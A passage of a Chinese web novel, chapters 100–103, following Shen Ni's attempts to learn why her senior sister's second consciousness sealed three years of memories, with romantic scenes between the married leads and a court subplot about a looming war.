边烬慢悠悠地梳着头发,手里的动作没有停。
“为何这样想?”
声音平稳的时候,边师姐和烬师姐很像,就算是沈逆也几乎察觉不出差别。
这份熟悉感缓解了束着沈逆筋骨的紧张情绪。
沈逆缓了缓呼吸,道:“我一直在想,到底谁能封印你的记忆模块,锁住那三年的记忆。以师姐你的谨慎程度和强大的战力甚至是精神力而言,就算受了重伤,若你不配合,想要封锁你的记忆到眼下的程度,也不是件容易事。”
边烬听着沈逆的一字一句,梳至发尾,仔细理开每一丝头发。
“如果说,记忆的是你自己主动要封锁的,那一切都能说得通了。”
沈逆继续道:
“只是有一点我还是疑惑。要是师姐你自己想封锁记忆,封锁的过程倒是容易,可想要把我拒之门外,造成现下除了强行破解无路可走的局面,也是很难的。这超出你的机械能力范围。”
边烬那双漂亮的冷眸转向她。
示意她接着说。
沈逆受到她的认可,一双眼睛亮亮的,没发现此刻的自己和师姐梦境里的小兔子精有多相似。
“所以我还是这样猜测。建立记忆禁区的算是你,但也不全是你。是你主动寻求的帮助。而为你封印的,是个机械天赋在我之上的人。”
之前这套想法已经跟烬师姐说过了。
既然边师姐能知道安全词,那肯定是无时无刻不在“偷听”她们谈话。
意识单向共通也好,事后记忆调取也罢,无论边师姐是如何获得的信息,她跟烬师姐说的话,边师姐是知道的。
沈逆分析完,边烬没肯定也没否定,身上罩着一层静雅的气息。
和昨晚乍现的火药桶比起来,此刻的慢条斯理反而更让沈逆如坐针毡。
半天得不到回应,也不知她什么时候就会消失,下次出现又得等多久,沈逆有些着急。
太想知道答案,沈逆身子不由自主地往前倾了些。
“师姐,你是不是记得那三年发生的事?能不能告诉我?”
那三年太重要了,不只对沈逆重要,更是一直苦苦纠缠着烬师姐。
在燕落究竟发生了什么?百万大军为什么会折亡?
之后她又是怎么落到了秦无商手中,被炼出了魔种。差点致残的重伤是谁所为……
这一切的知情人,或许已在眼前。
梳篦放到桌面上,边烬的双手空了。
沈逆忽然回过神,发觉自己靠得太近。
昨晚被禁锢狠吻的画面乍然跃上心头,危机感迅速攀上脊背。
沈逆不动声色地往后躲了一下。
边烬却没动,双手还放在案上,没碰她。
沈逆:……
坏了,感觉脸上被写了四个字——自作多情。
边烬没说话,表情也没有任何变化,只是头微微往某个角度倾斜了一些,只有一丝,沈逆还是察觉到了。
更察觉到她这一偏头的情绪。
这是边烬的习惯。
觉得沈逆可爱时的习惯。
这一个小小的、熟悉的细节,让两位师姐之间的界限模糊了。
边烬:“为什么觉得我还是边烬?”
沈逆扁扁嘴,心道,没回答我的问题,还继续抛问题让我回答,好奸诈的边师姐,尽会占人便宜。
“我岂会认错你。”
沈逆短短一句话,让边烬卸掉了某种紧绷和不甘。
与此同时,沈逆更是确定了,自己所有的猜测都是对的。
都是师姐,两个意识所展现的性格有微妙的不相同。
正是因为那三年记忆的有无。
更想知道边师姐那三年到底经历了什么,为什么性格也稍微坏了一点。
可……变坏了一点点的师姐有种异样的吸引力,还是让她好喜欢。
沈逆继续乖乖回答边烬的问题。
“档案馆现身那次,你是在调查什么吧,我突然出现在你身后,你是有些应激,但在发现掐着的人是我,很快停了手,没有真的伤害我,说明你对我是没有恶意的。
“更直观的一件事便是营救刘吉一家。你能击杀金吾卫锐锋营二百多人还不露出任何破绽,是师姐你自己的本事。若你身体里另一个意识是旁人,恐怕也无法自如地操控这么强大的身体。
“至于为什么上回被烬师姐发现鞋放歪了,有可能是因为那时忽然招来护院,你出现的时候被护院所惊,所以鞋未来得及摆好,对不对?下床没有惊动警报,当然是因为我和烬师姐说的话,你全都知晓。”
边烬眉心轻微一折。
“烬师姐?”
沈逆:……
糟糕,怎么顺嘴说出来了。
边烬安静地看着她,等她解答。
被她这样瞧着,沈逆感觉后背那十鞭子又开始发痒发痛。
沈逆还是只能老老实实回答。
“你不觉得,丢失了三年记忆的师姐和你性格上有些差别吗?为了区别你们,我就在心里给你们用了不同的名称来标记。”
“按照你的说法,我是什么师姐?”
提问时也不漏破绽。
“边师姐。”
“为什么?”
“感觉边这个字比烬更凶一点,适合你……”
这句话的后半段,沈逆越说越心虚。
边烬:……
“我很凶?”
沈逆哪敢说话。
恨不能直接把昨晚她做的事儿投影出来,让她自己回忆回忆。
腰都痛一天了,这还不凶?
沈逆:“还好。”
想了想,又道:“我习惯了。”
边烬:……
眉眼间隐约透了些笑意。
沈逆看到她笑,忽然意识到,这个师姐也是喜欢自己的。
即便丢失了三年的记忆,可她们到底是同一个人。
无论是小时候扛着师尊的强压拼命护下她的,还是在梦境世界里给她披上一层一眼就能看到的暖光的,也都是眼前的师姐啊。
昨夜的粗暴一定事出有因,边师姐无疑也是宠她的。
撒娇应该能奏效。
思绪行到此处,沈逆有了个大胆的想法。
沈逆绕过案几,跪坐在边烬面前,勾了勾她的衣角,眼睛发红,声音也委屈了几分。
“所以,师姐……你为什么要封锁自己的记忆?昨晚在联系谁?即便是我也不能说吗?”
小师妹看着可怜,实则说话间已经越靠越近。
似要坠入边烬的怀中,又堪堪保持着一点距离,气息在两人双唇间流荡着……
边烬的眼神落在沈逆的唇上。
这双唇长得很好看,唇形饱满诱人,上了些樱粉色的口脂,微微张着。
能说会道,惯常会给人使绊子的嘴,昨晚被她亲得难以合拢,又红又肿。
看似口灿莲花,实则脆弱不堪。
沈逆指尖勾了又勾,眼前人不为所动,甚至好整以暇地观察着她,看她能做到什么地步。
怎么会这样……
换了个修为更厉害的高僧,她这只小狐狸道行不够看了。
沈逆嘴角的笑容僵硬了几分。
别气馁,为了烬师姐,再试试。
“那换个问题好了,昨晚为什么要对我做那种事?”
落针可闻的寝屋内,有人面容未变,呼吸暗暗加快了。
沈逆知道,自己问对了。
指尖离开衣角,找到了新的落脚点。
跟着说话的节奏一下下点在边烬右手指骨上,问她:
“是不是在吃醋?”
“吃醋?”
“你说呢?”
这个问题总好回答了吧。
只要她回答,沈逆就能从只字片语中拆解出一些有用的信息,为烬师姐拼凑出更多的真相,她有这个信心。
边烬的回答却完全在她的意料之外。
“还想要吗?”
简简单单四个字,比沈逆先前那一系列乱七八糟的勾引都有攻击性。
沈逆的心被撩动,瞬间燥热。
见她靠过来,还未吻,眼神先沉溺了。
不对啊。
跟自己说好了,再遇到她不能让她吻的。
可是,当她手指轻托沈逆的下巴,根本就没施加任何控制的动作,沈逆就没法动弹了。
任她的唇覆盖上来,启开……
不对。
沈逆思绪拢了一下。
怎么没启开。
边烬只轻轻吻了一下,像羽毛轻扫,一触即离。
若有似无的亲吻让沈逆心里酥酥麻麻的,还以为被骗了,结果吻又揉进来,只吻到脊背蹿着麻软的感觉,忽然又分开,若即若离地后撤。
沈逆脑子里晕忽忽的,被她勾着往前凑,双手撑在她身侧,眼神迷离着,可怜兮兮的样子,分明在讨吻。
昏暗灯光里的边烬露着淡淡的笑意。
就要再吻上,沈逆的唇被边烬双指封住。
进退不得,沈逆眼里蒙着一层晶亮,发现自己被骗了,委屈的声音从她指缝里透出来:
“你还没回答我的问题……”
边烬:“你问什么?”
“我问……”
话才刚起,唇被边烬的指骨顶开。
和她曾经戏弄的手法一模一样。
边师姐果然一直在看她和烬师姐所做的点滴……
沈逆被弄得“唔”了两声,眼角凝着一弯泪。
好狡猾,用的还是左手。
唇合不上,腰又被抱住,整个人落入边烬怀中。
问话被指骨抵了回去,之后变成了吻。
再问,再吻。
堵得她更开不了口。
沈逆说的对,她是吃醋。
即便能拥有另一个自己所有的记忆,但那和沈逆一步步深陷的日常却不是由她缔造的。
是她自己,可她自己又像个旁观者。
眼下这一切戏弄的手法,也都是从沈逆那儿学来的,全部用回沈逆自己身上。
从矮案吻到床榻,沈逆双手被她一只手扣住,轻轻松松制在头顶,红潮在肌肤上弥漫,根本反抗不了。
忍着极高的触觉指数,边烬压着喘息,问道:
“逆芯是不是还没完成?”
身上人有一丝说不上的邪气,不仅不回答她的问题,还这般欺负着她,反让她答话。
沈逆不知道她为何要问这个。
被吻得迷迷糊糊,难受得要命,却还被扶着膝盖,不让她拢。
沈逆一边轻唤着“师姐”,一边在她怀里点头。
“没完成……还需……更多的测试。”
情意共振将沈逆此刻的状态传入边烬心里。
边烬的脸和耳朵也全红了,但她克制着,保持着清醒,甚至还在诱惑沈逆:
“今晚就测试。”
满面红潮的沈逆不解道:“今晚?”
“嗯,今晚,现在。”
时间恐怕不够了,必须是现在。
另一个意识已然失控,边烬告诉自己,得保持绝对的理智。
必须由她亲自监督,完成这一切。
沈逆思绪回归了一些,感觉到了不对劲。
脑子刚能转动,边烬便从她膝盖上抚下去。
沈逆被弄得浑身发颤,声音的尾调都碎了,根本无法思考,鬼迷心窍,问她:
“那,有奖励吗?”
边烬轻抹她唇下的晶亮,缓声道:“完成数值提高一分,我奖励你一次。”
100-110
第101章
当了这么多年机械师,经历过无数个与工作台相伴的日夜,从来没有一夜像今晚这般让她吃不消。
边师姐很守信用,言出必行到沈逆站不住,最后是坐在边烬腿上,勉强提升了六个数值。
逆芯还有十二个点,就要百分百完成了。
沈逆被抱着接吻时,思绪乱七八糟,一会儿想着烬师姐会不会发现今晚的事,一会儿又想碰这里好受不了。
思绪再一跳,想起边师姐出现的时辰,是烬师姐固定入睡的时分,明早醒来不会知晓今夜发生的事。
这是刻意选的时间。
边师姐真的很狡诈。
……
又是被弄到昏睡过去的。
第二日在边烬的怀里醒来,沈逆微微睁开眼,首先看到的是边烬的红唇。
昨夜在工作室里荒唐的云雨还残留在沈逆身上,腰酸腿软,逆芯的完成度倒是实打实推进了不少。
被这种方式催着加班,还是头一遭。
往边烬的怀里钻一钻,无声地撒娇。
还在睡梦中的边烬“嗯”了一声,眼睛还没睁开,本能般将怀中人搂紧。
沈逆环着她的腰肢,枕着她的胳膊,琢磨一个重要的问题。
为什么边师姐忽然连续出现了两次?
之前她出现的频率很低,一直都低调行事,甚至是回避在沈逆面前露面的。
以她的性格来说,只是专门来争风吃醋的话,也太离奇了。
沈逆回忆一番,她刻意出现的节点,是沈逆无意中发现烬师姐意识深处的场面,得知那份早就喜欢的真实心意,在有恃无恐间不断拉近两人的距离。
沈逆可以感受到烬师姐已经对她放下了防备,愿意与她身心相通。
边师姐,便是在此时接连出现了两次。
这两次的手法都是从沈逆这边学去的。
被“反哺”的滋味怎么说呢,沈逆得花点时间慢慢消化……
两人亲密之事,是边师姐在释放内心的强压,甚至是一种遮掩。
试图用这种方式来掩盖她真正的目的。
不知边师姐最终要走向何处,但尽快修复逆芯一定是现下的要紧事。
亲热或是奖励,都是障眼法。
那问题又来了,边师姐为什么要催她快些完成逆芯?
她需要一个完整的逆芯,更强的能力去做什么吗?
和什么有关?秦无商?魔种?李渃元,还是黑魔方?
脑子转着转着,有些转不动了,被困意侵袭。
师姐身上又软又香,沈逆慢慢被这舒适感拖入梦中。
不知睡到辰几,沈逆晕忽忽地睁开眼。
天已经亮透,早就过了边烬起床的时辰,她还躺在沈逆身边,让她环着腰,没走,胳膊给沈逆当枕头,无声地阅览今日的新闻。
察觉到怀中人醒了,她关闭网页,先摸了摸沈逆的脑袋。
“睡饱了吗?”
会耐心陪着她宠着她的,这个是烬师姐无疑。
烬师姐对她越好,沈逆心情就越复杂。
昨晚她想要帮烬师姐从凶凶的边师姐那儿套些话回来,没能成功,还把自己搭进去。
好没用啊沈逆。
沈逆:“嗯……睡饱了。”
“我还道若你起不来,今日我便先去拜访李司,回头你养好精神了咱们再一块儿补一次。”
被这么一提醒沈逆才想起来,她们已经发了拜帖,约好今日去拜访李司,感谢她上次救场为沈逆做手术的事儿。
沈逆:“我醒了,我这就洗漱,咱们一起去。”
她俩早早挑选好了谢礼,坐上马车,往李司府上去。
金吾将军府距离靖安侯府不算远,在兴化坊靠南边的一个坊内。
这儿住的都是长安城里有头有脸的武将。
武将的官衔大多都是靠军功赚回来,身带煞气便容易傲气外放,侯府马车所到之处满眼峻宇雕墙,高门大户的姿态穷形尽相。
到了李司的将军府门口,倒是出乎意料的素雅清爽,门口的石狮子和隔壁相比都娇小了一圈。
沈逆和边烬一同下马,李司亲自来迎。
李司先向边烬问候,转头对沈逆感叹:
“又看见活着的靖安侯了,今日我这将军府真是蓬荜生辉。”
沈逆:“小乔姑娘,别来无恙啊。”
听到“小乔”二字,李司立即紧张地往身后看。
沈逆:“放心,没别人。”
管家已经去泊马车了,随从正在勤勤恳恳搬着沈逆她们带来的丰厚谢礼。
没人留意她们在说什么,依旧弄得李司紧张兮兮。
李司“啧”了沈逆一嘴,那夜在酒肆跳舞到底是被她认出来了。
心里忍不住骂了句“迟早有一天把你这臭狐狸的嘴给封了”。
她俩颇有些不打不相识的意味,同为机械师,互相坑了几次后,出手相助过,这会儿乐得互相揶揄,又喜欢又嫌弃的。
沈逆和边烬低调入府,李司将随从和下人都遣走,今日她自己来招待,还特意向管家嘱咐了一句:
“今日要招待贵客,其余人等一律不见。”
管家应喏离开,沈逆和边烬跟在李司身后穿过前院,往正厅去。
她们没有说话,只用眼神交流,都发现了一件有意思的事儿。
金吾将军官衔不低,正四品的高官,在长安城里能横着走。
就算这几年内廷俸禄一降再降,李司的将军府也不至于这般朴实。
李司府上算是她们见过最简朴的将军府,只有最简单的小桥流水,花园中尽是一些非常能自个儿活的植物。除此之外就是随处可见的机械装置,武器架上摆了各种型号的枪。
看得出来此人活得略有些潦草。
李司天赋不算高,却很有动手能力,俸禄全花在机械制造和改造上了。
李司兴致勃勃地带她们到武器架前,拿了她最近正在研制的手炮给沈逆看,让她玩一玩,提提意见。
沈逆握着手炮试了试,“还没完成?”
“是啊,我就一把A级机械臂,说好听点叫慢工出细活,实话实说就是效率太低。”
机械臂是外置工具,无需和天赋搭配,就算没天赋的普通人,愿意花能买一座宅子的银子去购置机械臂,直接上手S级的都可以。
要不怎么说机械师是最烧银子的。
工具不好干活效率就低,效率低出不了好装备就赚不到银子,没银子买不了好工具,恶性循环越来越穷。
不过李司这样的官阶,买一把好用的机械臂也不是什么难事儿,怎么用这种老式A级机械臂?效率肯定低下。
李司倒没太着急。
存的银子都花在给窦璇玑换玉璧上了,窦璇玑又不喜欢她去外面跳舞,那她就安分点。
银子少就少点,本想用手炮换掉左.轮,今年换还是明年换都一样,不急。
李司没说自己的捉襟见肘,沈逆都看在眼里。
她可太懂机械师都想要什么了。
沈逆道:“李司将军不若把今日我和我夫人带来的礼物拆开看看,或许有你想要的。”
李司双眼一亮。
莫非……
仆人们将四大箱礼物搬过来,一件件礼物开箱,吓了李司一跳。
最新款的S级机械臂,暗网都绝版的锻造台,超速3D打印机。
还有各种破解过的模型,无数材料,这四大箱礼物加起来价值连城。
李司乐开了花,“真都给我?”
沈逆:“怎么,你还想我们再带回去?”
李司小脸红扑扑的,“那我就不客气全收下了!”
看着李司撅着屁股,在那儿摸摸这个看看那个,爱不释手的模样,沈逆想起一些往事。
她年幼时就展现出了不凡的机械天赋,而双极楼给弟子们的零花有限,沈逆一介孤儿,想要的高级材料她自己肯定是没银子买的,边烬也买不起。为了不让沈逆天赋荒废,边烬瞒着她当了一段时间的赏金猎人,接了几笔危险的大单后,算是能满足沈逆的需求。
年幼的沈逆并不知道赚银子的辛苦,只记得想要什么材料师姐就能给她“变”出来,理所当然地享受师姐的呵护。
现在想来,当时的师姐年纪也不大,恐怕是年纪最小的赏金猎人了。
她有遇到过什么危险吗?
也从未听她提及过。
……
筵席已然摆好,李司很好客,本来就准备了满满一桌飞禽走兽,这会儿喜笑盈腮,连珍藏了十年的好酒都端出来了。
沈逆一个右撇子,时不时在桌下勾一勾边烬这个左撇子的手,也不耽误她俩进食。
李司说她在长安城没什么朋友,全是官场之上的逢场作戏,酒肉之交,从不过心。
因为那些人不可能认同她的想法,指不定前脚跟人掏心掏肺,后脚就被人弹劾,成为别人政绩上的垫脚石。
又说她是怎么得了京官,又是怎么自己觉醒了第二个天赋,虽官阶来越高,族中亲属甚至远亲也没少来探望,但她感觉和家人已然越走越远。
再说到为什么不喜欢丽景门,全因丽景门不分青红皂白只听命于韩复。韩复是谁?李渃元的一条狗。丽景门不为除暴安良,一心只为天子除去眼中钉,做的便是草菅人命的勾当。历朝历代哪个天子的爪牙能有好名声?
沈逆就喝了一杯,酒劲已经上脸了,小脸红红的,问李司:
“你说这些,就不怕我们回头也弹劾你?”
“你们才不会,我早看出来了,你们也是被人弹劾的料。”李司开怀道,“和我一样!”
沈逆:“……你还挺得意?”
连边烬都被她们逗得嘴角微弯。
沈逆发现,李司这人,初见时印象很不好,越相处越觉得此人单纯直爽,还有些为民请命的使命感在身上。
这么说来,边师姐当初从暗网买来李司的资料,非要给她和烬师姐看,这是何意?
暗示李司是个可以结交的同伴吗?
或许不只是这么简单的理由。
不过,能让边师姐留意的人,沈逆自然要先拉拢过来再说。
沈逆问她:“后来李司将军有研究出来怎么黑入别人的记忆模块吗?”
李司乜她道:“笑话我是不?”
“何来笑话,难得碰到机械师同行,是想跟你切磋切磋。”
李司听她这话的意思,莫非是想要教她黑客技术?
这一下可来了劲。
李司向沈逆学怎么黑人模块的缺德手艺,学得兴致勃勃之时,并不知道大门口来了两位贵客。
管家听到敲门声,出门一瞧,是两位丽景门女官,其中一位还是队正。
窦璇玑问:“请问靖安侯可在府上?”
管家见是丽景门的,不好惹,可今日到访的客人将军很珍视,更是不想外人知晓双方的交情。
管家笑容恭顺地应道:“回二位官家的话,二位官家怕是走错了。这儿是金吾将军府,您要找靖安侯的话,可得去靖安侯府啊。”
窦璇玑听出来他在绕弯子,正色道:“我自然是去过靖安侯府,知晓靖安侯来此,这才登门拜访。你去跟靖安侯说一句,丽景门窦璇玑和房判求见便是。”
窦璇玑态度强硬,管家心里不悦,可丽景门毕竟不好惹,不敢真招她们。
管家漫不经心地来到前厅,说大门口有两人求见。
李司正学到最紧要的关头,管家这么一搅和思路都乱了,没好气道:
“不是说了今日其他人一概不见吗?”
“回将军,我也是这么说的。”管家理直气壮道,“我已经跟那丽景门的女官说了,可她们不依不饶,非要见靖安侯。”
李司听到“丽景门”这三个字,神情一怔。
和沈逆对视一眼,再去问管家:
“丽景门女官?有自报家门吗?”
“一个姓窦,一个姓房。将军,是直接将她们打发了还是……哎?将军?”
管家话还未说完,便见李司连滚带爬冲向大门口。
管家:??
李司一路小跑跑到门口,还真看到了窦璇玑和房判。
窦璇玑双臂环在身前,斜眼看李司。
李司今日在府上做东,穿的是私服,一身火红色的长裙,没她在外面跳舞时香艳。
本是有点好看,但被挡在门外,窦璇玑斜眼看她,问道:
“麦香小乔,靖安侯在你府上吗?”
李司赶紧道:“嘘——别闹。你就跟臭狐狸学坏!她在里面呢。”
李司客客气气将窦璇玑和房判请入府中。
管家看平日里高傲又最痛恨丽景门的将军,居然对这两个丽景门女官打躬作揖,还一脸傻笑……
管家震惊,将军莫不是投靠丽景门了?
完全不知道管家痛心疾首的心理活动,李司看窦璇玑出现在自家院子里的背影,心里一阵暖融融的。
终于主动登门了,虽然不是来找她的,但也算是进了门。
四舍五入离成亲也不远了吧?
第102章
见到了沈逆和边烬,窦璇玑压低声音道:
“天子正在就与弦昼国开战一时召开秘密朝会。”
沈逆和边烬互看一眼。
“与弦昼国开战?”
“是的。”窦璇玑道,“据说是怀疑弦昼国盗走了国宝,天子震怒,誓要夺回国宝,这便是开战的契机。”
正如李司所说,丽景门是天子爪牙,军情机要都会从门内过,这也是窦璇玑留在丽景门的原因。
沈逆和边烬相视一瞧,有点稀奇,还有这事。
沈逆一开始的计划便是绑了秦无商,把破入最高研发署禁区的事儿推到她头上。
可惜那夜变数横生,秦无商没露面,她和李极私下见面的视频也为了牵制李极,暂时不能公开。
没想到她们都还没来得及找理由给李渃元和秦无商牵线,李渃元自己抓住了那根线头。
甚至比沈逆计划的还要火爆,直接开战?
沈逆按捺下幸灾乐祸,平声道:“看来此事李渃元对我也有所怀疑,不然为何召开秘密朝会,偏偏把我排挤在外?”
窦璇玑:“侯君,我亦察觉到丽景门组建了一支神秘小队,在所有轮值之外单独行动。目的不明,我暗查了一下,她们的行动范围就在兴化坊,我猜测目标很有可能就是靖安侯府。”
边烬问:“这些人的天赋和等级你知晓吗?”
窦璇玑道:“最高有一个S级战斗天赋者,还一个A级战斗天赋者。其他的以机械天赋和精神天赋为主,都不算高。”
边烬了然,“那她们的目的不是伺机进入靖安侯府,估计是以暗中调查我们的行动轨迹和各方往来为主。”
窦璇玑看了一眼正在认真吃饭的房判,无语了一息,继续道:“或许就是想看看国宝在不在你们手中,但不想声张,毕竟谁也不愿意主动招惹靖安侯府。”
李渃元能将这个炼丹炉当成“国宝”,沈逆便知自己先前所想是对的。
李渃元的魔种就是靠这炼丹炉续命。
现在炼丹炉不见,她急了,又不敢真的大肆寻找,便将炼丹炉冠上国宝的名号来搜寻,倒是个好办法。
秦无商一定也非常想得到炼丹炉,甚至一直在暗中寻找。
此事恐怕李渃元的魔种也心知肚明,严加防备。
不然为什么炼丹炉会被护在禁区里呢。
这防的一是炼丹炉本身奇异的外形和用途外泄。
二么,恐怕就是秦无商的抢夺了。
所以炼丹炉丢失之后,她一腔怒意全都倾倒在秦无商身上,不惜开战。
沈逆居然误打误撞,让这对冤家对上了头。
当然,多疑的天子也不可能放过其他可疑份子。
沈逆自然是可疑份子名单上最可疑的。
听闻李渃元想开战,李司也很感兴趣,问她:
“那现在内廷主战者多吗?”
窦璇玑道:“这我不太确定,我也只是听到一些风声,重臣的主张暂且不知。”
边烬:“以我对内廷的了解,不会有人支持李渃元在此时发动战事。侯君年前刚在北境打退弦昼,即便是打了一场漂亮的胜仗,帝国依旧耗费了不少军资和兵力。加上这几年国库空虚,京师内各大楼宇无法修缮,京官的俸禄都快要发不出来,更别说地方了。各地灾害不断,连救济的物资都难以供给,各大城池还饱受黑魔方之苦。听说今年税银还要再加一成,在这种情况下若还要再起战事,民不聊生之时便是民间大举起义之始。天子一党一定会极力劝阻她发动战事,而安王一党则会借机怂恿。”
沈逆接她的话道:“不过这些怂恿者也该当心,小心这是李渃元的圈套。借着要打弦昼来试探哪些人是安王一党。这时候冒头的便会被李渃元盯上,秋后算账,慢慢铲除。”
边烬有思索过李渃元应该是会有留后手的,还未细想,沈逆这番话倒是补全了边烬的所有思路。
边烬欣慰地暗暗看着沈逆。
一旁的李司却在心中“啧”一声,能察觉到这么阴毒方法的人,本身也很狡诈。果然是臭狐狸。
看看人家这脑子转的,一个念头转出八百个心眼子,各个都能要人命。
以后还是不要和沈逆作对了,不说那几大箱子的极品,单说能让正眼都不怎么看她的未来夫人到她府上,还坐到她身旁一块儿吃饭……沈逆就算是狐狸精,也是招福纳瑞的狐狸精。
李司感觉今天晚上做梦都会笑出声来。
窦璇玑就是来跟沈逆说这件事的,说完便要告辞。
她一起身,房判也跟着起身。
李司拉住窦璇玑的胳膊,“怎么才来就急着走啊,饭都没吃两口。”
窦璇玑不太自然地把胳膊抽了回来,“我还有事在身,不宜久留。”
李司嗅到了她身上有些血腥味,想了想,道:“你不吃,小房还得吃呢。是吧小房。”
房判进食的时候,若是有窦璇玑以外的人在场,她不会将帷帽摘下。
此刻她手里还握着根鸡腿,没有吃完,放下的话肯定没人再吃,又不想浪费。
人是跟着窦璇玑站来了,鸡腿还握在手里,偷偷把鸡腿塞到帷帽内吃着。
被李司这么一点名,窦璇玑回头看她,她将吃了一半的鸡腿从帷帽里拿出来,举棋不定地看看李司,再看看窦璇玑。
房判:“那我,还吃吗?”
窦璇玑:……
也是奇了怪了,别人的搭档或是擅长谋略或是擅长布阵。
她搭档,擅长吃。
窦璇玑嘴角提了提,没啃声,李司已经把房判当人质扣下了。
窦璇玑:……
李司:“而且,你手臂上的伤总得治疗一下吧。”
窦璇玑眉心微折。
她怎么知道受伤的事儿?
沈逆见气氛微妙,不想妨碍李司娶妻大计,拉了边烬一同告辞。
李司送贵客上了侯府的马车,立即兴冲冲地回来,让人再上一桌菜,特意问房判喜欢吃什么口味的菜。
房判看看窦璇玑,窦璇玑一句话给她凶回来,“看我干嘛?不是你想吃吗?”
房判:……
哪敢说话。
李司:“那我就有什么好货就上什么了。”
饭菜很快上桌,房判的确有阵子没好好吃饭了。
自从窦璇玑当上队正,她们能去的地方更多,能打听到的情报也更密。其中有真有假,她俩一同细心分析拆解,真实又有用的线索一丝都不能放过。
房判能好好吃饭的时间骤减。
今日来李司这儿算是来着了,将军府上的厨子手艺非凡,一道红焖肘子炖的酥烂还不腻,房判差点把自己舌头也吃下去。
李司看房判吃得乐不思蜀,便凑到窦璇玑身边道:“伤给我看看吧?”
窦璇玑穿的丽景门官服从头到脚裹得很严实,非常克制的服制,就算夏衣也不例外。
她伤在胳膊肘附近,需要解开严丝合缝的袖扣,往上卷起袖子才能看到。
李司要看,窦璇玑皱眉道:“怎么看……莫不是要在这儿露给你瞧?”
窦璇玑耳朵被自己说红了,李司立刻道:“走,去卧房里看。”
一直在专心品味美食的房判都转过来:?
窦璇玑红着脸骂道:“想死?”
李司:“就是看看伤,给你缝合一下。你是不是多想了?”
窦璇玑:……
为了证明自己没有胡思乱想,只能答应李司。
反正李司一个机械师,敢胡作非为就掰断她的手。
窦璇玑对房判道:“你先吃,我一会儿就回。”
她俩除了睡觉,平日里很少分开,这么一弄房判还真有点不放心,吃得忐忐忑忑。
李司为了表现自己是正人君子,进屋后门也没关,就敞着。
“随便坐,我去拿药箱。”
窦璇玑坐在椅子上,“就一点小伤。”
李司已经拎着药箱回来了,一抬眸,眼神还挺真诚。
“小伤也要治啊,不然你就打算这样带着伤,午后再上值去?”
“习惯了。”
“这坏习惯改改吧?”
窦璇玑从小就这样,小伤根本不在意,只要不是伤筋动骨下不了地,她都等着自个儿好。
周围同僚都这样,除了死其他都是小擦伤,没人在意不说,若是看到谁因为一点小伤斤斤计较,还会引来一波嘲笑。
结果到了李司这儿,这么点小事儿,还要专门拿药箱来帮她治,帮她缝合。
夸张了。
夸张是夸张了一些,可被人过分在意的感觉,让窦璇玑有点羞赧,不太想直接面对。
李司看着她扣得严丝合缝的袖扣,眨眨眼道:“解了呗?”
窦璇玑解袖扣的时候很不自然,她很少在别人面前暴露皮肤。
只好用说话来掩饰尴尬。
“你怎么发现我受伤的?”
“这么浓的血腥味,怎么可能发现不了?”
窦璇玑嘴角提了提,“你是狗?鼻子这么灵?”
“嗯嗯,和你一样。”
窦璇玑看她这颗完全不设防的脑袋,很想当场敲下去。
见她认真为自己缝合的样子,又没真的动手。
李司的手是典型机械师的手,细小的伤痕不少,但很纤长灵巧,不用机械臂,自己动手缝了美容针,不到一盏茶的工夫就完事儿了。
窦璇玑没想到这人看着粗糙,其实还挺细心的。
李司为她缝好了伤,说“你等会儿”,去隔壁工作室里取了一样东西过来。
“这个送你。你在外时不时这蹭一下那刮一刀的,性子又烈,太危险了,得有点保命的护具在身上我才放心。”
李司将一个金属手环套在窦璇玑右腕上。
金属手环很细的一条,带着点银白色哑光,挺好看的。
“这是什么?”窦璇玑问。
“保命神器。可以为你抵挡一次S级的伤害。你随身带着就行,沐浴时也不用脱。”
窦璇玑一听就知道价值不菲。
“别,你自己留着吧。”
说着就要摘。
李司摁住她的手,“怎么还摘?算我的聘礼不行么?”
窦璇玑:“……说什么癫话。上次你那个璇玑石我还收着,下次见你时还你。还有欠你的银子……”
“还什么,送给你的就是你的了。都说了,你不想要就丢了。银子也不必还,我又不缺银子,惦记这些,还不如好好给自己改造一下,别动不动受伤。”
李司看她过得比自己还漫不经心的,浑身难受,又没法真管,毕竟没立场。
窦璇玑:……
真对这癫子没辙。
窦璇玑摸了摸那手环,心想,下次看看有什么合适的礼物挑一挑,送回去给她好了,也算是另一种方式的还债。
她这辈子除了给靖安侯还礼,还没给谁正经选过礼物,特别是李司这样的……什么玩意适合当礼物都不知晓。
而李司,好像天生就擅长讨人喜欢。
不仅送她特别实用的防身护具,回到前厅,还给房判打包了一大盒房判爱吃的点心。
房判嘴上说着“哪好意思”,实则电子音都飘了。
窦璇玑没眼看自己这被点心收买的笨搭档。
更是不懂,她这般无趣的人,居然也有人想娶回家。
李司的脑子,果然异于常人.
侯府的马车到了兴化坊内,边烬没着急回府,问沈逆:
“能不能调成手动驾驶?”
沈逆:“可以。”
边烬手动驾着马车在侯府周围转了一圈,到坊内的花店买了束花,又转回府,对沈逆道:
“窦璇玑的情报无误,侯府的确被人暗中包围了。”
沈逆笑道:“行,既然要试探,我就让她们试探个够,探不够不许睡。”
边烬丝毫不怀疑沈逆整人的功夫。
她手握在门把上准备下车,忽然道:
“今夜,还是那个时辰。”
沈逆:?
边烬说完,略顿了一下,拉开车门下了车。
见沈逆坐在车厢内没动弹,好奇地回眸,似在疑问。
似乎完全没发现方才自己说了什么。
沈逆跟着下车,心道,方才边师姐是不是忽然出现了一下?
边师姐现在出场递话越来越明目张胆。
咕咚。
喉咙暗暗耸动。
沈逆忽然有些分不清,这半年来的相处中,边师姐是否曾经在她不知晓的时候出现过。
说了什么,又做了什么。
第103章
先前贺兰濯说过,精神天赋者长得越美,蛊惑人心的能力就越强。
当时沈逆便想,有些人就算没精神天赋,靠脸也没少迷惑人。
比如边烬。
彼时的想法居然在这几夜不停歇地验证。
边师姐话很少,不仅自己不说话,甚至不让沈逆开口。
好霸道。
感觉这份霸道中有些刻意。
刻意要对沈逆粗暴,控制她,差使她,还不给她任何理由。
即便如此,沈逆根本一点都不讨厌她,也没法拒绝她。
夜半,师姐睡了,另一个她出现了。
边烬睁开眼,转眸,看向身边人。
“一直没睡?”
“嗯……”
想到今晚又要和边师姐相处,以及可能会发生的事,沈逆紧张,一直找不到睡意。
“等我?”
沈逆指尖磨着床面。
“是啊……”
边烬起身,托起沈逆的下巴,无声间启开她的双唇。
这么直接就来了……
沈逆呼吸瞬时被夺走,方才还在忐忑地磨着床面的手,忽地攥紧。
一整个昼时未见,言语不露,唇齿先燃。
沈逆被吻得浑身发烫,沟壑之中星火暗升。
那人偏偏哪儿也不碰,就与她唇上相缠。
